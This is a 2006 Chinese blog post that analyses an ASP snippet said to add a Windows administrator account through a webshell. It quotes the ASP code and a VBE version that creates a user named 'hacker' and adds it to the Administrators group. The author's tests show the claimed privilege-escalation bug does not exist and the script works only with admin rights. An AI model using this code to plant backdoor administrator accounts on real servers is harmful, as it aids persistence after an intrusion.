传说中添加超级用户的asp代码分析

王朝asp·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

这个东东弄得沸沸扬扬,要是你还不知道的话就看看《添加超级用户的.asp代码》这文章吧。

作者也说了,“反正代码是对的,但是很少能成功,具体的看运气了”,偶也拿来在webshell上试了试,失败了。把容错语句去掉,看到错误原因是“权限不够”。今天没什么事,就来分析分析,说不定……嘿嘿。

他代码关键是这个:

set lp=Server.CreateObject("WSCRIPT.NETWORK")

oz="WinNT://"&lp.ComputerName

Set ob=GetObject(oz)

Set oe=GetObject(oz&"/Administrators,group")

Set od=ob.Create("user",username)

od.SetPassword passwd

od.SetInfo

oe.Add oz&"/"&username

无非是在asp中创建一个WSCRIPT.NETWORK对象,用这个对象添加用户提升为管理员。而按照他们的说法这是利用了.NETWORK对象本地权限提升漏洞(他们说这是MS没公布的)。嗯,那我把代码做成一个vbs脚本文件,拿到命令行下试试就知道了。

test.vbe(vbe比vbs更好;vbs的运行受到诸多限制)

--------------------------------------------

set lp=CreateObject("WSCRIPT.NETWORK")

oz="WinNT://"&lp.ComputerName

Set ob=GetObject(oz)

Set oe=GetObject(oz&"/Administrators,group")

Set od=ob.Create("user","hacker")

od.SetPassword test

od.SetInfo

oe.Add oz&"/"&"hacker"

-------------------------------------------

在admin权限下生成了hacker用户;user权限执行文件报错:拒绝访问。看来还是权限不够,即是说不存在所谓的MS未公布的“.NETWORK对象本地权限提升漏洞”——至少我这个XP SP1上不存在。你也可以把上面的代码保存为vbe拿到user权限下面试试其他系统是否存在这个bug,不过既然这asp成功的很少可能也不会存在。

上回日光海岸告诉我如果IIS开了认证这个asp就可以。我在本地把IIS的匿名访问关闭了,这个脚本果然可以工作。不过此时实际上你的浏览是具有管理员权限的。想想明明是关了匿名访问,为什么没有弹出对话框让你输用户密码呢?呵呵,你在本地自然集成windows基本验证,此时我是管理员,当然那些asp也继承了admin权限。不知道作者是不是在这里出错了呢?

我认为这个传说是错的,欢迎指教。先说好了——不准打脸^_^

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航